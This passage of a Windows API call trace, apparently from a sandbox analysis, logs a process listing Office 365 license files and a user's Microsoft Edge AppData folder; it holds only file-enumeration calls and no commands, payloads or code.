ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe632dbcf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d95, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="O365PR~4.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe61fc917, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe61fc917, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe62bb50d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5eee, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Grace-ppd.xrm-ms", cAlternateFileName="O365PR~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62bb50d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe62bb50d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe651da72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Grace-ul-oob.xrm-ms", cAlternateFileName="O3377F~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6248ddb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6248ddb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe63079a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription1-pl.xrm-ms", cAlternateFileName="O365PR~3.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6222ba8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6222ba8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe62bb50d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e65, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription1-ppd.xrm-ms", cAlternateFileName="O365PR~2.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6543cce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6543cce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6674f22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription1-ul-oob.xrm-ms", cAlternateFileName="O378F4~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6a54cdd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6a54cdd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6cb7248, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription2-pl.xrm-ms", cAlternateFileName="O3B74B~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe64f781d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe64f781d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6628a99, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e65, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription2-ppd.xrm-ms", cAlternateFileName="O3CF14~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe64d15f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe64d15f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe65dc66b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription2-ul-oob.xrm-ms", cAlternateFileName="O3F5D3~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe64ab356, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe64ab356, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe669b26a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription3-pl.xrm-ms", cAlternateFileName="O33BFA~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe637a07d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe637a07d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe648513f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e65, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription3-ppd.xrm-ms", cAlternateFileName="O37461~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe64ab356, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe64ab356, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6569f23, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription3-ul-oob.xrm-ms", cAlternateFileName="O34BB6~1.XRM")) returned 1 [0194.219] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6412a1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6412a1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe64f781d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription4-pl.xrm-ms", cAlternateFileName="O3DFB3~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe63c64e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe63c64e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe64d15f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e65, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription4-ppd.xrm-ms", cAlternateFileName="O31633~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe63a029d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe63a029d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe64ab356, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription4-ul-oob.xrm-ms", cAlternateFileName="O37C41~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6949c74, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6949c74, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6aa11e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription5-pl.xrm-ms", cAlternateFileName="O30C10~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6949c74, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6949c74, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6c6ae0b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e65, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription5-ppd.xrm-ms", cAlternateFileName="O390D7~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe68d7584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe68d7584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6a0884b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription5-ul-oob.xrm-ms", cAlternateFileName="O3F187~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe68d7584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe68d7584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6a54cdd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial1-pl.xrm-ms", cAlternateFileName="O342A1~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe669b26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe669b26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6923a47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f31, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial1-ppd.xrm-ms", cAlternateFileName="O37028~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6628a99, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6628a99, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe699614a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial1-ul-oob.xrm-ms", cAlternateFileName="O3E0EE~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe66c1465, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe66c1465, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6949c74, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial2-pl.xrm-ms", cAlternateFileName="O376CD~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe664edb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe664edb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe68d7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f31, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial2-ppd.xrm-ms", cAlternateFileName="O3A4A6~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe664edb3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe664edb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe688b059, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial2-ul-oob.xrm-ms", cAlternateFileName="O31D4D~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6628a99, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6628a99, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe66e76b1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial3-pl.xrm-ms", cAlternateFileName="O31B86~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e0e778, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6e0e778, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6ecd3ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f31, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial3-ppd.xrm-ms", cAlternateFileName="O3569A~1.XRM")) returned 1 [0194.220] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6de85cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6de85cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe70e34ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial3-ul-oob.xrm-ms", cAlternateFileName="O35C5F~1.XRM")) returned 1 [0194.221] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6d2994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6d2994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6e5ac86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial4-pl.xrm-ms", cAlternateFileName="O3C05D~1.XRM")) returned 1 [0194.221] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6d03706, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6d03706, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6ea70e0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f31, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial4-ppd.xrm-ms", cAlternateFileName="O35E87~1.XRM")) returned 1 [0194.221] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c6ae0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6c6ae0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6e34a2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial4-ul-oob.xrm-ms", cAlternateFileName="O3749E~1.XRM")) returned 1 [0194.221] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe699614a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe699614a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6bac1fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusR_SubTrial5-pl.xrm-ms", cAlternateFileName="O39C21~1.XRM")) returned 1 [0194.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0194.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0194.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0194.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0194.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0194.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0194.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0194.482] CloseHandle (hObject=0x7c8) returned 1 [0194.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0194.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", lpFilePart=0x0) returned 0x2b [0194.483] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.483] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.484] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0194.484] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0194.484] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0 [0194.484] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0194.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0194.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0194.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", lpFilePart=0x0) returned 0x2b [0194.484] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.485] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.485] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0194.485] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0194.485] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.485] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0194.485] SetThreadErrorMode (dwNewMode=0x0, 